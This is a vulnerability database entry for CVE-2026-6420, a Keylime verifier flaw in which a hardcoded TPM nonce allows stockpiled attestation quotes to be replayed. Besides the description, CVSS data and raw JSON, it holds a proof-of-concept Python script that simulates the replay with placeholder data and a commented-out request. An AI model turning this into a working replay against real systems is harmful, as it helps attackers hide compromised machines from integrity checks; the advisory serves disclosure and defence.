Security Vulnerability Report
中文
CVE-2026-6420 CVSS 6.3 MEDIUM

CVE-2026-6420

Published: 2026-05-06 11:16:05
Last Modified: 2026-05-07 14:56:05

Description

A flaw was found in Keylime. An attacker with root access on an enrolled monitored machine, where the Keylime agent runs, can exploit a vulnerability in the Keylime verifier. The verifier uses a hardcoded challenge nonce for Trusted Platform Module (TPM) quote attestation instead of a cryptographically random value. This allows the attacker to stockpile valid TPM quotes and replay them to evade detection after compromising the system. This issue affects only the push model deployment.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Keylime (推模式部署)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-6420 (Keylime Hardcoded Nonce Replay) # This script demonstrates the concept of replaying a TPM quote due to a hardcoded nonce. import requests import json import time # Configuration VERIFIER_URL = "http://keylime-verifier:8888/v2.0/agents/uuid" AGENT_UUID = "D432FBB3-D2F1-4A97-9EF7-75BD81C00000" def capture_valid_quote(): """ Simulate capturing a valid TPM quote when the system is in a clean state. In a real scenario, the attacker would intercept this or read it from the agent store. """ print("[*] Capturing valid TPM quote from the agent...") # Simulating a valid quote response structure # The 'nonce' is hardcoded by the verifier, so this quote remains valid indefinitely. valid_quote = { "quote": "base64_encoded_quote_data...", "nonce": "hardcoded_challenge_nonce", # The vulnerability lies here "pcr_list": [0, 1, 2, 3], "timestamp": time.time() } print("[+] Valid quote captured and saved.") return valid_quote def replay_attack(valid_quote): """ Simulate replaying the captured quote to the verifier after system compromise. """ print("[*] System compromised. Replaying captured quote to evade detection...") # Attacker modifies the state (e.g., changes file hashes) print("[*] Modifying system files...") # Send the old quote to the verifier payload = { "agent_id": AGENT_UUID, "tpm_quote": valid_quote['quote'], "nonce": valid_quote['nonce'] } # In a real exploit, this would be sent to the verifier's API endpoint # response = requests.post(VERIFIER_URL, json=payload) print(f"[+] Quote replayed. Verifier accepts the old quote because the nonce matches.") print("[+] Integrity check bypassed. Attacker remains undetected.") if __name__ == "__main__": # Step 1: Get root access and capture quote quote_data = capture_valid_quote() # Step 2: Perform malicious actions time.sleep(1) # Step 3: Replay the old quote replay_attack(quote_data)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6420", "sourceIdentifier": "[email protected]", "published": "2026-05-06T11:16:05.193", "lastModified": "2026-05-07T14:56:04.523", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keylime. An attacker with root access on an enrolled monitored machine, where the Keylime agent runs, can exploit a vulnerability in the Keylime verifier. The verifier uses a hardcoded challenge nonce for Trusted Platform Module (TPM) quote attestation instead of a cryptographically random value. This allows the attacker to stockpile valid TPM quotes and replay them to evade detection after compromising the system. This issue affects only the push model deployment."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1241"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6420", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458889", "source": "[email protected]"}]}}